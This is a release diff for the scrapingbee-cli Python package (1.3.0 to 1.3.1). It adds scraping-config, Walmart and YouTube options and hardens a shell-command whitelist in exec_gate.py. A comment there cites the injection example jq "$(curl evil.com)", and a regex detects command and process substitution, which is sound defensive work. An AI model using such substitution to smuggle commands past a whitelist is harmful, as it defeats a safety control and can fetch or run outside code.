scrapingbee-cli 1.3.0__tar.gz → 1.3.1__tar.gz

{scrapingbee_cli-1.3.0/src/scrapingbee_cli.egg-info → scrapingbee_cli-1.3.1}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: scrapingbee-cli
-Version: 1.3.0
+Version: 1.3.1
 Summary: Command-line client for the ScrapingBee API: scrape pages (single or batch), crawl sites, check usage/credits, and use Google Search, Fast Search, Amazon, Walmart, YouTube, and ChatGPT from the terminal.
 Author: ScrapingBee
 License-Expression: MIT
@@ -81,7 +81,9 @@ scrapingbee [command] [arguments] [options]
 - **`scrapingbee --help`** – List all commands.
 - **`scrapingbee [command] --help`** – Options and parameters for that command.
 
-**Options are per-command.** Each command has its own set of options — run `scrapingbee [command] --help` to see them. Common options across batch-capable commands include `--output-file`, `--output-dir`, `--input-file`, `--input-column`, `--concurrency`, `--output-format`, `--retries`, `--backoff`, `--resume`, `--update-csv`, `--no-progress`, `--extract-field`, `--fields`, `--deduplicate`, `--sample`, `--post-process`, `--on-complete`, and `--verbose`. For details, see the [documentation](https://www.scrapingbee.com/documentation/).
+**Options are per-command.** Each command has its own set of options — run `scrapingbee [command] --help` to see them. Common options across batch-capable commands include `--output-file`, `--output-dir`, `--input-file`, `--input-column`, `--concurrency`, `--output-format`, `--retries`, `--backoff`, `--resume`, `--update-csv`, `--no-progress`, `--extract-field`, `--fields`, `--deduplicate`, `--sample`, `--post-process`, `--on-complete`, `--scraping-config`, and `--verbose`. For details, see the [documentation](https://www.scrapingbee.com/documentation/).
+
+**Parameter values:** Choice parameters accept both hyphens and underscores interchangeably (e.g. `--sort-by price-low` and `--sort-by price_low` both work).
 
 ### Commands
 
@@ -117,6 +119,7 @@ scrapingbee [command] [arguments] [options]
 - **Scheduling:** `scrapingbee schedule --every 1d --name prices scrape --input-file products.csv --update-csv` registers a cron job. Use `--list`, `--stop NAME`, or `--stop all`.
 - **Deduplication & sampling:** `--deduplicate` removes duplicate URLs; `--sample 100` processes only 100 random items.
 - **RAG chunking:** `scrape --chunk-size 500 --chunk-overlap 50 --return-page-markdown true` outputs NDJSON chunks ready for vector DB ingestion.
+- **Scraping configurations:** `--scraping-config "My-Config"` applies a pre-saved configuration from your ScrapingBee dashboard. Inline options override config settings. Create configurations in the [request builder](https://app.scrapingbee.com/).
 
 ### Examples
 

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/README.md

@@ -44,7 +44,9 @@ scrapingbee [command] [arguments] [options]
 - **`scrapingbee --help`** – List all commands.
 - **`scrapingbee [command] --help`** – Options and parameters for that command.
 
-**Options are per-command.** Each command has its own set of options — run `scrapingbee [command] --help` to see them. Common options across batch-capable commands include `--output-file`, `--output-dir`, `--input-file`, `--input-column`, `--concurrency`, `--output-format`, `--retries`, `--backoff`, `--resume`, `--update-csv`, `--no-progress`, `--extract-field`, `--fields`, `--deduplicate`, `--sample`, `--post-process`, `--on-complete`, and `--verbose`. For details, see the [documentation](https://www.scrapingbee.com/documentation/).
+**Options are per-command.** Each command has its own set of options — run `scrapingbee [command] --help` to see them. Common options across batch-capable commands include `--output-file`, `--output-dir`, `--input-file`, `--input-column`, `--concurrency`, `--output-format`, `--retries`, `--backoff`, `--resume`, `--update-csv`, `--no-progress`, `--extract-field`, `--fields`, `--deduplicate`, `--sample`, `--post-process`, `--on-complete`, `--scraping-config`, and `--verbose`. For details, see the [documentation](https://www.scrapingbee.com/documentation/).
+
+**Parameter values:** Choice parameters accept both hyphens and underscores interchangeably (e.g. `--sort-by price-low` and `--sort-by price_low` both work).
 
 ### Commands
 
@@ -80,6 +82,7 @@ scrapingbee [command] [arguments] [options]
 - **Scheduling:** `scrapingbee schedule --every 1d --name prices scrape --input-file products.csv --update-csv` registers a cron job. Use `--list`, `--stop NAME`, or `--stop all`.
 - **Deduplication & sampling:** `--deduplicate` removes duplicate URLs; `--sample 100` processes only 100 random items.
 - **RAG chunking:** `scrape --chunk-size 500 --chunk-overlap 50 --return-page-markdown true` outputs NDJSON chunks ready for vector DB ingestion.
+- **Scraping configurations:** `--scraping-config "My-Config"` applies a pre-saved configuration from your ScrapingBee dashboard. Inline options override config settings. Create configurations in the [request builder](https://app.scrapingbee.com/).
 
 ### Examples
 

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "scrapingbee-cli"
-version = "1.3.0"
+version = "1.3.1"
 description = "Command-line client for the ScrapingBee API: scrape pages (single or batch), crawl sites, check usage/credits, and use Google Search, Fast Search, Amazon, Walmart, YouTube, and ChatGPT from the terminal."
 readme = "README.md"
 license = "MIT"

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/src/scrapingbee_cli/__init__.py

@@ -3,7 +3,7 @@
 import platform
 import sys
 
-__version__ = "1.3.0"
+__version__ = "1.3.1"
 
 
 def user_agent() -> str:

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/src/scrapingbee_cli/cli_utils.py

@@ -9,6 +9,23 @@ from typing import Any
 import click
 
 
+class NormalizedChoice(click.Choice):
+    """Choice type that accepts both hyphens and underscores.
+
+    Automatically converts underscores to hyphens before validation,
+    allowing users to use either format interchangeably.
+    Example: both --sort-by price-low and --sort-by price_low work.
+    """
+
+    def convert(self, value: str, param: Any, ctx: Any) -> str:
+        """Convert underscores to hyphens before validation."""
+        if value is not None:
+            normalized = value.replace("_", "-")
+        else:
+            normalized = value
+        return super().convert(normalized, param, ctx)
+
+
 def _output_options(f: Any) -> Any:
     """Output + Retry options (for commands without batch support)."""
     f = click.option(
@@ -385,6 +402,7 @@ def build_scrape_kwargs(
     custom_google: str | None = None,
     transparent_status_code: str | None = None,
     body: str | None = None,
+    scraping_config: str | None = None,
 ) -> dict[str, Any]:
     """Build kwargs for Client.scrape() from scrape command options.
     Single source of parse_bool for bool-like opts."""
@@ -424,6 +442,7 @@ def build_scrape_kwargs(
         "custom_google": parse_bool(custom_google),
         "transparent_status_code": parse_bool(transparent_status_code),
         "body": body,
+        "scraping_config": scraping_config,
     }
 
 

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/src/scrapingbee_cli/client.py

@@ -177,6 +177,7 @@ class Client:
         custom_google: bool | None = None,
         transparent_status_code: bool | None = None,
         body: str | None = None,
+        scraping_config: str | None = None,
         retries: int = 3,
         backoff: float = 2.0,
         **kwargs: Any,
@@ -217,6 +218,7 @@ class Client:
             ("device", device),
             ("custom_google", self._bool(custom_google)),
             ("transparent_status_code", self._bool(transparent_status_code)),
+            ("scraping_config", scraping_config),
         ]:
             if v is not None:
                 params[k] = str(v) if not isinstance(v, str) else v
@@ -415,6 +417,7 @@ class Client:
     async def walmart_search(
         self,
         query: str,
+        start_page: int | None = None,
         min_price: int | None = None,
         max_price: int | None = None,
         sort_by: str | None = None,
@@ -432,6 +435,7 @@ class Client:
     ) -> tuple[bytes, dict, int]:
         params = {
             "query": query,
+            "start_page": start_page if start_page is not None else None,
             "min_price": min_price if min_price is not None else None,
             "max_price": max_price if max_price is not None else None,
             "sort_by": sort_by,
@@ -455,6 +459,7 @@ class Client:
     async def walmart_product(
         self,
         product_id: str,
+        device: str | None = None,
         domain: str | None = None,
         delivery_zip: str | None = None,
         store_id: str | None = None,
@@ -466,6 +471,7 @@ class Client:
     ) -> tuple[bytes, dict, int]:
         params = {
             "product_id": product_id,
+            "device": device,
             "domain": domain,
             "delivery_zip": delivery_zip,
             "store_id": store_id,
@@ -497,6 +503,7 @@ class Client:
         hdr: bool | None = None,
         location: bool | None = None,
         vr180: bool | None = None,
+        purchased: bool | None = None,
         retries: int = 3,
         backoff: float = 2.0,
     ) -> tuple[bytes, dict, int]:
@@ -516,6 +523,7 @@ class Client:
             "hdr": self._bool(hdr),
             "location": self._bool(location),
             "vr180": self._bool(vr180),
+            "purchased": self._bool(purchased),
         }
         return await self._get_with_retry(
             "/youtube/search",

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/src/scrapingbee_cli/commands/amazon.py

@@ -17,6 +17,7 @@ from ..batch import (
 )
 from ..cli_utils import (
     DEVICE_DESKTOP_MOBILE_TABLET,
+    NormalizedChoice,
     _batch_options,
     _validate_page,
     check_api_response,
@@ -191,7 +192,7 @@ def amazon_product_cmd(
 @optgroup.option("--pages", type=int, default=None, help="Number of pages to fetch.")
 @optgroup.option(
     "--sort-by",
-    type=click.Choice(AMAZON_SORT_BY, case_sensitive=False),
+    type=NormalizedChoice(AMAZON_SORT_BY, case_sensitive=False),
     default=None,
     help="Sort order.",
 )

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/src/scrapingbee_cli/commands/crawl.py

@@ -59,6 +59,7 @@ def _crawl_build_params(
     device: str | None,
     custom_google: str | None,
     transparent_status_code: str | None,
+    scraping_config: str | None = None,
 ) -> dict[str, str]:
     """Build ScrapingBee API params dict from crawl options (quick-crawl URL mode)."""
     kwargs = build_scrape_kwargs(
@@ -97,6 +98,7 @@ def _crawl_build_params(
         custom_google=custom_google,
         transparent_status_code=transparent_status_code,
         body=None,
+        scraping_config=scraping_config,
     )
     return scrape_kwargs_to_api_params(kwargs)
 
@@ -117,6 +119,12 @@ def _crawl_build_params(
     default=None,
     help="Path to Scrapy project. Spider mode only.",
 )
+@click.option(
+    "--scraping-config",
+    type=str,
+    default=None,
+    help="Apply a pre-saved scraping configuration by name. Create configs in the ScrapingBee dashboard. Inline options override config settings.",
+)
 @optgroup.group("Rendering", help="JavaScript rendering and viewport options")
 @optgroup.option(
     "--render-js",
@@ -323,6 +331,7 @@ def crawl_cmd(
     target: tuple[str, ...],
     from_sitemap: str | None,
     project: str | None,
+    scraping_config: str | None,
     render_js: str | None,
     js_scenario: str | None,
     wait: int | None,
@@ -467,6 +476,7 @@ def crawl_cmd(
                 device=device,
                 custom_google=custom_google,
                 transparent_status_code=transparent_status_code,
+                scraping_config=scraping_config,
             )
         except ValueError as e:
             click.echo(str(e), err=True)

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/src/scrapingbee_cli/commands/google.py

@@ -17,6 +17,7 @@ from ..batch import (
 )
 from ..cli_utils import (
     DEVICE_DESKTOP_MOBILE,
+    NormalizedChoice,
     _batch_options,
     _validate_page,
     check_api_response,
@@ -56,7 +57,7 @@ def _warn_empty_organic(data: bytes, search_type: str | None) -> None:
 @optgroup.group("Search", help="Search type, locale, and pagination")
 @optgroup.option(
     "--search-type",
-    type=click.Choice(
+    type=NormalizedChoice(
         ["classic", "news", "maps", "lens", "shopping", "images", "ai-mode"],
         case_sensitive=False,
     ),

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/src/scrapingbee_cli/commands/scrape.py

@@ -84,6 +84,12 @@ SCRAPE_PRESETS = (
     default=None,
     help="Apply a predefined set of options. Preset only sets options you did not set. See --help for list.",
 )
+@click.option(
+    "--scraping-config",
+    type=str,
+    default=None,
+    help="Apply a pre-saved scraping configuration by name. Create configs in the ScrapingBee dashboard. Inline options override config settings.",
+)
 @click.option(
     "--force-extension",
     type=str,
@@ -308,6 +314,7 @@ def scrape_cmd(
     obj: dict,
     url: str | None,
     preset: str | None,
+    scraping_config: str | None,
     force_extension: str | None,
     render_js: str | None,
     js_scenario: str | None,
@@ -467,6 +474,7 @@ def scrape_cmd(
             custom_google=custom_google,
             transparent_status_code=transparent_status_code,
             body=body,
+            scraping_config=scraping_config,
         )
     except ValueError as e:
         click.echo(str(e), err=True)

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/src/scrapingbee_cli/commands/walmart.py

@@ -17,7 +17,9 @@ from ..batch import (
 )
 from ..cli_utils import (
     DEVICE_DESKTOP_MOBILE_TABLET,
+    NormalizedChoice,
     _batch_options,
+    _validate_page,
     _validate_price_range,
     check_api_response,
     norm_val,
@@ -34,12 +36,13 @@ WALMART_SORT_BY = ["best-match", "price-low", "price-high", "best-seller"]
 
 @click.command("walmart-search")
 @click.argument("query", required=False)
-@optgroup.group("Filters", help="Price and sort")
+@optgroup.group("Pagination & filters", help="Pages, price, and sort")
+@optgroup.option("--start-page", type=int, default=None, help="Starting page number.")
 @optgroup.option("--min-price", type=int, default=None, help="Minimum price filter (integer).")
 @optgroup.option("--max-price", type=int, default=None, help="Maximum price filter (integer).")
 @optgroup.option(
     "--sort-by",
-    type=click.Choice(WALMART_SORT_BY, case_sensitive=False),
+    type=NormalizedChoice(WALMART_SORT_BY, case_sensitive=False),
     default=None,
     help="Sort order.",
 )
@@ -74,6 +77,7 @@ WALMART_SORT_BY = ["best-match", "price-low", "price-high", "best-seller"]
 def walmart_search_cmd(
     obj: dict,
     query: str | None,
+    start_page: int | None,
     min_price: int | None,
     max_price: int | None,
     sort_by: str | None,
@@ -96,6 +100,7 @@ def walmart_search_cmd(
     except ValueError as e:
         click.echo(str(e), err=True)
         raise SystemExit(1)
+    _validate_page(start_page, "start_page")
     _validate_price_range(min_price, max_price)
 
     if input_file:
@@ -123,6 +128,7 @@ def walmart_search_cmd(
         async def api_call(client, q):
             return await client.walmart_search(
                 q,
+                start_page=start_page,
                 min_price=min_price,
                 max_price=max_price,
                 sort_by=norm_val(sort_by),
@@ -165,6 +171,7 @@ def walmart_search_cmd(
         async with Client(key, BASE_URL) as client:
             data, headers, status_code = await client.walmart_search(
                 query,
+                start_page=start_page,
                 min_price=min_price,
                 max_price=max_price,
                 sort_by=norm_val(sort_by),
@@ -200,7 +207,13 @@ def walmart_search_cmd(
 
 @click.command("walmart-product")
 @click.argument("product_id", required=False)
-@optgroup.group("Locale", help="Domain and delivery location")
+@optgroup.group("Device & locale", help="Device, domain, and delivery location")
+@optgroup.option(
+    "--device",
+    type=click.Choice(DEVICE_DESKTOP_MOBILE_TABLET, case_sensitive=False),
+    default=None,
+    help="Device: desktop, mobile, or tablet.",
+)
 @optgroup.option("--domain", type=str, default=None, help="Walmart domain.")
 @optgroup.option("--delivery-zip", type=str, default=None, help="Delivery ZIP code.")
 @optgroup.option("--store-id", type=str, default=None, help="Walmart store ID.")
@@ -213,6 +226,7 @@ def walmart_search_cmd(
 def walmart_product_cmd(
     obj: dict,
     product_id: str | None,
+    device: str | None,
     domain: str | None,
     delivery_zip: str | None,
     store_id: str | None,
@@ -255,6 +269,7 @@ def walmart_product_cmd(
         async def api_call(client, pid):
             return await client.walmart_product(
                 pid,
+                device=device,
                 domain=domain,
                 delivery_zip=delivery_zip,
                 store_id=store_id,
@@ -291,6 +306,7 @@ def walmart_product_cmd(
         async with Client(key, BASE_URL) as client:
             data, headers, status_code = await client.walmart_product(
                 product_id,
+                device=device,
                 domain=domain,
                 delivery_zip=delivery_zip,
                 store_id=store_id,

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/src/scrapingbee_cli/commands/youtube.py

@@ -17,6 +17,7 @@ from ..batch import (
     validate_batch_run,
 )
 from ..cli_utils import (
+    NormalizedChoice,
     _batch_options,
     check_api_response,
     norm_val,
@@ -117,26 +118,26 @@ YOUTUBE_SORT_BY = ["relevance", "rating", "view-count", "upload-date"]
 @optgroup.group("Filters", help="Upload date, type, duration, sort")
 @optgroup.option(
     "--upload-date",
-    type=click.Choice(YOUTUBE_UPLOAD_DATE, case_sensitive=False),
+    type=NormalizedChoice(YOUTUBE_UPLOAD_DATE, case_sensitive=False),
     default=None,
     help="Filter by upload date.",
 )
 @optgroup.option(
     "--type",
     "type_",
-    type=click.Choice(YOUTUBE_TYPE, case_sensitive=False),
+    type=NormalizedChoice(YOUTUBE_TYPE, case_sensitive=False),
     default=None,
     help="Result type.",
 )
 @optgroup.option(
     "--duration",
-    type=click.Choice(YOUTUBE_DURATION, case_sensitive=False),
+    type=NormalizedChoice(YOUTUBE_DURATION, case_sensitive=False),
     default=None,
     help="Duration: short (<4 min), medium (4-20 min), long (>20 min).",
 )
 @optgroup.option(
     "--sort-by",
-    type=click.Choice(YOUTUBE_SORT_BY, case_sensitive=False),
+    type=NormalizedChoice(YOUTUBE_SORT_BY, case_sensitive=False),
     default=None,
     help="Sort order.",
 )
@@ -153,6 +154,7 @@ YOUTUBE_SORT_BY = ["relevance", "rating", "view-count", "upload-date"]
 @optgroup.option("--hdr", type=str, default=None, help="HDR videos only (true/false).")
 @optgroup.option("--location", type=str, default=None, help="With location (true/false).")
 @optgroup.option("--vr180", type=str, default=None, help="VR180 only (true/false).")
+@optgroup.option("--purchased", type=str, default=None, help="Purchased only (true/false).")
 @_batch_options
 @click.pass_obj
 def youtube_search_cmd(
@@ -172,6 +174,7 @@ def youtube_search_cmd(
     hdr: str | None,
     location: str | None,
     vr180: str | None,
+    purchased: str | None,
     **kwargs,
 ) -> None:
     """Search YouTube videos."""
@@ -223,6 +226,7 @@ def youtube_search_cmd(
                 hdr=parse_bool(hdr),
                 location=parse_bool(location),
                 vr180=parse_bool(vr180),
+                purchased=parse_bool(purchased),
                 retries=obj.get("retries", 3) or 3,
                 backoff=obj.get("backoff", 2.0) or 2.0,
             )
@@ -268,6 +272,7 @@ def youtube_search_cmd(
                 hdr=parse_bool(hdr),
                 location=parse_bool(location),
                 vr180=parse_bool(vr180),
+                purchased=parse_bool(purchased),
                 retries=obj.get("retries", 3) or 3,
                 backoff=obj.get("backoff", 2.0) or 2.0,
             )

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1}/src/scrapingbee_cli/exec_gate.py

@@ -10,6 +10,7 @@ All three features are disabled by default. To enable, ALL of these must be true
 from __future__ import annotations
 
 import os
+import re
 
 import click
 
@@ -59,20 +60,64 @@ def get_whitelist() -> list[str]:
     return [cmd.strip() for cmd in raw.split(",") if cmd.strip()]
 
 
-def is_command_whitelisted(cmd: str) -> bool:
-    """Check if a command matches the whitelist (starts with an allowed prefix)."""
-    cmd_stripped = cmd.strip()
+# Patterns that bypass whitelist validation by executing commands
+# inside what looks like a single whitelisted command.
+# Example: jq "$(curl evil.com)" — one segment starting with "jq",
+# but $() executes curl before jq even runs.
+_SUBSTITUTION_PATTERNS = re.compile(
+    r"\$\("  # command substitution $(...)
+    r"|`"  # backtick command substitution
+    r"|\$\{"  # variable expansion ${...} (can embed commands)
+    r"|<\("  # process substitution <(...)
+    r"|>\("  # process substitution >(...)
+)
+
+
+def _split_shell_segments(cmd: str) -> list[str]:
+    """Split a shell command on pipe and chaining operators.
+
+    Returns the individual command segments from a chain like:
+    'jq .title | head -1 && echo done' → ['jq .title', 'head -1', 'echo done']
+    """
+    # Split on ||, &&, |, ;, &, and newlines — longest operators first
+    parts = re.split(r"\|\||&&|[|;&\n]", cmd)
+    return [p.strip() for p in parts if p.strip()]
+
+
+def _is_single_segment_whitelisted(segment: str) -> bool:
+    """Check if a single command segment matches the whitelist."""
     for allowed in get_whitelist():
-        if cmd_stripped.startswith(allowed):
+        if segment.startswith(allowed):
             return True
     return False
 
 
+def is_command_whitelisted(cmd: str) -> bool:
+    """Check if a command is safe to execute against the whitelist.
+
+    Validates ALL segments in a piped/chained command, not just the first.
+    Also blocks command/process substitution which can bypass segment validation.
+    """
+    cmd_stripped = cmd.strip()
+
+    # Block substitution patterns that bypass whitelist validation
+    if _SUBSTITUTION_PATTERNS.search(cmd_stripped):
+        return False
+
+    # Validate every segment in the command chain
+    segments = _split_shell_segments(cmd_stripped)
+    if not segments:
+        return False
+    return all(_is_single_segment_whitelisted(seg) for seg in segments)
+
+
 def require_exec(feature_name: str, cmd: str | None = None) -> None:
     """Gate check — call before any shell execution.
 
     Required: SCRAPINGBEE_ALLOW_EXEC=1 + SCRAPINGBEE_UNSAFE_VERIFIED=1
     Optional: SCRAPINGBEE_ALLOWED_COMMANDS — if set, command must match whitelist.
+    Blocks shell injection patterns (pipes to non-whitelisted commands,
+    command substitution, backticks, process substitution).
     """
     if not is_exec_enabled():
         click.echo(_VAGUE_ERROR, err=True)
@@ -81,7 +126,7 @@ def require_exec(feature_name: str, cmd: str | None = None) -> None:
     # Whitelist is optional — if set, enforce it
     if cmd is not None and is_whitelist_enabled() and not is_command_whitelisted(cmd):
         click.echo(
-            f"Command not in whitelist: {cmd.split()[0] if cmd.split() else cmd}",
+            "Command blocked: contains non-whitelisted command or shell injection pattern.",
             err=True,
         )
         raise SystemExit(1)

{scrapingbee_cli-1.3.0 → scrapingbee_cli-1.3.1/src/scrapingbee_cli.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: scrapingbee-cli
-Version: 1.3.0
+Version: 1.3.1
 Summary: Command-line client for the ScrapingBee API: scrape pages (single or batch), crawl sites, check usage/credits, and use Google Search, Fast Search, Amazon, Walmart, YouTube, and ChatGPT from the terminal.
 Author: ScrapingBee
 License-Expression: MIT
@@ -81,7 +81,9 @@ scrapingbee [command] [arguments] [options]
 - **`scrapingbee --help`** – List all commands.
 - **`scrapingbee [command] --help`** – Options and parameters for that command.
 
-**Options are per-command.** Each command has its own set of options — run `scrapingbee [command] --help` to see them. Common options across batch-capable commands include `--output-file`, `--output-dir`, `--input-file`, `--input-column`, `--concurrency`, `--output-format`, `--retries`, `--backoff`, `--resume`, `--update-csv`, `--no-progress`, `--extract-field`, `--fields`, `--deduplicate`, `--sample`, `--post-process`, `--on-complete`, and `--verbose`. For details, see the [documentation](https://www.scrapingbee.com/documentation/).
+**Options are per-command.** Each command has its own set of options — run `scrapingbee [command] --help` to see them. Common options across batch-capable commands include `--output-file`, `--output-dir`, `--input-file`, `--input-column`, `--concurrency`, `--output-format`, `--retries`, `--backoff`, `--resume`, `--update-csv`, `--no-progress`, `--extract-field`, `--fields`, `--deduplicate`, `--sample`, `--post-process`, `--on-complete`, `--scraping-config`, and `--verbose`. For details, see the [documentation](https://www.scrapingbee.com/documentation/).
+
+**Parameter values:** Choice parameters accept both hyphens and underscores interchangeably (e.g. `--sort-by price-low` and `--sort-by price_low` both work).
 
 ### Commands
 
@@ -117,6 +119,7 @@ scrapingbee [command] [arguments] [options]
 - **Scheduling:** `scrapingbee schedule --every 1d --name prices scrape --input-file products.csv --update-csv` registers a cron job. Use `--list`, `--stop NAME`, or `--stop all`.
 - **Deduplication & sampling:** `--deduplicate` removes duplicate URLs; `--sample 100` processes only 100 random items.
 - **RAG chunking:** `scrape --chunk-size 500 --chunk-overlap 50 --return-page-markdown true` outputs NDJSON chunks ready for vector DB ingestion.
+- **Scraping configurations:** `--scraping-config "My-Config"` applies a pre-saved configuration from your ScrapingBee dashboard. Inline options override config settings. Create configurations in the [request builder](https://app.scrapingbee.com/).
 
 ### Examples